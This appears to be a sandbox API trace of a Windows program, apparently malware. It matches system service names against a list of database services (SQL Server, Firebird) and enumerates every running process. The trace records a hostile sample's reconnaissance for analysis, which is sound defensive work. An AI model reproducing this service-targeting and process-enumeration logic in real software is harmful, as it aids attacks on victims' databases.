	[0077.300] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0077.300] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0077.300] lstrlenW (lpString="SENS") returned 4
	[0077.300] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0077.300] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0077.301] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0077.301] lstrlenW (lpString="ShellHWDetection") returned 16
	[0077.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0077.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0077.301] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0077.301] lstrlenW (lpString="Spooler") returned 7
	[0077.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0077.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0077.301] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0077.301] lstrlenW (lpString="StateRepository") returned 15
	[0077.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0077.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0077.301] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0077.301] lstrlenW (lpString="SysMain") returned 7
	[0077.301] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0077.301] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0077.301] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0077.301] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0077.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4314a18 | out: hHeap=0x4f0000) returned 1
	[0077.302] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x38c
	[0077.307] Process32FirstW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0077.307] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0077.412] lstrlenW (lpString="System") returned 6
	[0077.412] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0077.413] lstrlenW (lpString="smss.exe") returned 8
	[0077.413] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0077.414] lstrlenW (lpString="csrss.exe") returned 9
	[0077.414] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0077.414] lstrlenW (lpString="wininit.exe") returned 11
	[0077.414] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0077.415] lstrlenW (lpString="csrss.exe") returned 9
	[0077.415] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0077.415] lstrlenW (lpString="winlogon.exe") returned 12
	[0077.415] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0077.416] lstrlenW (lpString="services.exe") returned 12
	[0077.416] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0077.416] lstrlenW (lpString="lsass.exe") returned 9
	[0077.416] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.417] lstrlenW (lpString="svchost.exe") returned 11
	[0077.417] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0077.417] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0077.418] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0077.418] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0077.418] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.419] lstrlenW (lpString="svchost.exe") returned 11
	[0077.419] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0077.419] lstrlenW (lpString="dwm.exe") returned 7
	[0077.419] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x59, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.420] lstrlenW (lpString="svchost.exe") returned 11
	[0077.420] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.420] lstrlenW (lpString="svchost.exe") returned 11
	[0077.420] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.421] lstrlenW (lpString="svchost.exe") returned 11
	[0077.421] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.421] lstrlenW (lpString="svchost.exe") returned 11
	[0077.421] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x29, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.422] lstrlenW (lpString="svchost.exe") returned 11
	[0077.422] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.422] lstrlenW (lpString="svchost.exe") returned 11
	[0077.422] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.423] lstrlenW (lpString="svchost.exe") returned 11
	[0077.423] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.423] lstrlenW (lpString="svchost.exe") returned 11
	[0077.423] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.424] lstrlenW (lpString="svchost.exe") returned 11
	[0077.424] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0077.425] lstrlenW (lpString="spoolsv.exe") returned 11
	[0077.425] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.425] lstrlenW (lpString="svchost.exe") returned 11
	[0077.425] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.426] lstrlenW (lpString="svchost.exe") returned 11
	[0077.426] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0077.426] lstrlenW (lpString="audiodg.exe") returned 11
	[0077.426] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0077.427] lstrlenW (lpString="sihost.exe") returned 10
	[0077.427] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0077.427] lstrlenW (lpString="svchost.exe") returned 11
	[0077.427] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0077.428] lstrlenW (lpString="taskhostw.exe") returned 13
	[0077.428] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0077.428] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0077.428] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0077.429] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0077.429] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0077.430] lstrlenW (lpString="explorer.exe") returned 12
	[0077.430] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0077.430] lstrlenW (lpString="Memory Compression") returned 18
	[0077.430] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0077.431] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0077.431] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0077.431] lstrlenW (lpString="SearchUI.exe") returned 12
	[0077.431] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0077.432] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0077.432] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0077.432] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0077.432] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0077.433] lstrlenW (lpString="taskhostw.exe") returned 13
	[0077.433] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0077.434] lstrlenW (lpString="UsoClient.exe") returned 13
	[0077.434] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0077.434] lstrlenW (lpString="taskhostw.exe") returned 13
	[0077.434] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0077.435] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0077.435] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0077.435] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0077.435] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0077.436] lstrlenW (lpString="msoia.exe") returned 9
	[0077.436] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0077.436] lstrlenW (lpString="msoia.exe") returned 9
	[0077.436] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0077.437] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0077.437] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver_fireplace_subdivision.exe")) returned 1
	[0077.437] lstrlenW (lpString="screensaver_fireplace_subdivision.exe") returned 37
	[0077.437] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="emptysuitexml.exe")) returned 1
	[0077.438] lstrlenW (lpString="emptysuitexml.exe") returned 17
	[0077.438] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeatpreston.exe")) returned 1
	[0077.438] lstrlenW (lpString="defeatpreston.exe") returned 17
	[0077.439] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="governments-lottery-royalty.exe")) returned 1
	[0077.439] lstrlenW (lpString="governments-lottery-royalty.exe") returned 31
	[0077.439] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="legends.exe")) returned 1
	[0077.440] lstrlenW (lpString="legends.exe") returned 11
	[0077.440] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="miniature.exe")) returned 1
	[0077.440] lstrlenW (lpString="miniature.exe") returned 13
	[0077.440] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="writes-heroes-spies.exe")) returned 1
	[0077.441] lstrlenW (lpString="writes-heroes-spies.exe") returned 23
	[0077.441] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="thorough.exe")) returned 1
	[0077.441] lstrlenW (lpString="thorough.exe") returned 12
	[0077.441] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1
	[0077.442] lstrlenW (lpString="dllhost.exe") returned 11
	[0077.442] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x784, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="interactive.exe")) returned 1
	[0077.442] lstrlenW (lpString="interactive.exe") returned 15
	[0077.442] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="victims sugar parental.exe")) returned 1
	[0077.443] lstrlenW (lpString="victims sugar parental.exe") returned 26
	[0077.443] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blade_mexican.exe")) returned 1
	[0077.443] lstrlenW (lpString="blade_mexican.exe") returned 17
	[0077.443] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eastexamined.exe")) returned 1
	[0077.872] lstrlenW (lpString="eastexamined.exe") returned 16
	[0077.872] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="attacks-according.exe")) returned 1
	[0077.873] lstrlenW (lpString="attacks-according.exe") returned 21
	[0077.873] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="jacket neighborhood.exe")) returned 1
	[0077.874] lstrlenW (lpString="jacket neighborhood.exe") returned 23
	[0077.874] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="values latin.exe")) returned 1
	[0077.874] lstrlenW (lpString="values latin.exe") returned 16
	[0077.875] Process32NextW (in: hSnapshot=0x38c, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="eaufeed.exe")) returned 1
	[0077.875] lstrlenW (lpString="eaufeed.exe") returned 11
